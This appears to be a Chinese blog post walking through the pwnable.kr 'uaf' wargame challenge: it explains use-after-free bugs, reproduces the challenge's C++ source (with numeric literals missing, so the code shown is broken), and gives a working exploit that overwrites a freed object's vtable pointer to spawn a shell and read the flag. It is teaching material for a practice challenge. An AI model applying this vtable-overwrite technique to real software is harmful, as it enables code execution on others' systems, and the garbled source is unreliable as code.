0x00 UAF利用原理

uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。

0x01 UAF漏洞的利用步骤

(1)先精心构造一个迷途指针

(2)再精心构造数据填充被释放的内存区域

(3)再次使用该指针,改变程序流程

0x02 Pwnable.kr-uaf

源码如下;

 #include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std; class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
}; class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a nice guy!" << endl;
}
}; class Woman: public Human{
public:
Woman(string name, int age){
this->name = name;
this->age = age;
}
virtual void introduce(){
Human::introduce();
cout << "I am a cute girl!" << endl;
}
}; int main(int argc, char* argv[]){
Human* m = new Man("Jack", );
Human* w = new Woman("Jill", ); size_t len;
char* data;
unsigned int op;
while(){
cout << "1. use\n2. after\n3. free\n";
cin >> op; switch(op){
case :
m->introduce();
w->introduce();
break;
case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case :
delete m;
delete w;
break;
default:
break;
}
} return ;
}

uaf

根据分析源码,大致漏洞利用思路:

因为在main函数开始处已经申请了两块内存

    Human* m = new Man("Jack", );
Human* w = new Woman("Jill", );

我们只要执行case 3就可以让这两个指针成为迷途指针,加以利用

case :
delete m;
delete w;
break;

观察到case 2 申请了一块内存,并且对这块内存进行写操作

case :
len = atoi(argv[]);
data = new char[len];
read(open(argv[], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;

在具体利用之前我们先简单分析一下此时堆内存的分配情况,具体是c++类存在虚函数时的分配情况,我这里不细说,只给出结论,具体的可以参照

1.IDA pro第二版124面

2.c++类实例在内存中的分配 (转)

此时堆内存分配大致如下图所示:

加上case 1中执行introduce函数

case :
m->introduce();
w->introduce();
break;

vtable指针指向类的虚函数表,introduce函数处于虚函数表第二项,即*(vtable+8)所指向的地址,又知道在虚表中give_shell函数的位置等于introduce函数位置 - 8.意思是假如我们先把vtable的值覆盖为vtable - 8,那么再执行introduce函数时就相当于执行give_shell函数。

通过IDA逆向分析,我们找到类Man的vtable的地址为0x401570.

利用脚本如下:

 

uaf@ubuntu:~$ python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc
uaf@ubuntu:~$ ./uaf 24 /tmp/poc
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat flag

0x03 参考链接

pwnable.kr之uaf

逆向安全系列:Use After Free漏洞浅析

iOS冰与火之歌 – UAF and Kernel Pwn

最新文章

  1. CodePen 作品秀:Canvas 粒子效果文本动画
  2. Android加载大图片OOM异常解决
  3. oracle mysql sqlserver数据库中的分页
  4. 第52课 C++中的抽象类和接口
  5. Codeforces Round #327 (Div. 2)
  6. 【Todo】蒙特卡洛(蒙特卡罗)树 &amp; 卷积网络
  7. std::function 测试
  8. Linux Set Command
  9. Docker &amp; ASP.NET Core (4):容器间的连接
  10. uCos-II中任务的同步与通信
  11. ntfs读写工具Paragon NTFS 15无限使用教程
  12. 在Tomcat文件中,点击start.bat启动的是另一个tomcat
  13. Maven package 报错解决记录以及编译scala的pom.xml
  14. LINQ分页和排序,skip和Take 用法
  15. 查看Windows系统里的进程已运行的时间
  16. C++进阶--命名空间和关键字using
  17. SpringMVC 学习 九 SSM环境搭建 (二) Spring配置文件的编写
  18. Qt-网易云音乐界面实现-2 红红的程序运行图标,和相似下方音乐条
  19. 使用SSH工具连接到MySQL
  20. Replication--备份初始化需要还原备份么?

热门文章

  1. 渲染路径-实时渲染中常用的几种Rendering Path
  2. MongoDb 创建用户以及其他版本造成的一些问题
  3. c#file类读写
  4. perl 操作文件指针
  5. java 阻塞队列(转)
  6. jvm 字节码查看
  7. EM算法(徐亦达)笔记
  8. 【模板】平衡树——Treap和Splay
  9. sql server技巧
  10. SQL,数据库连接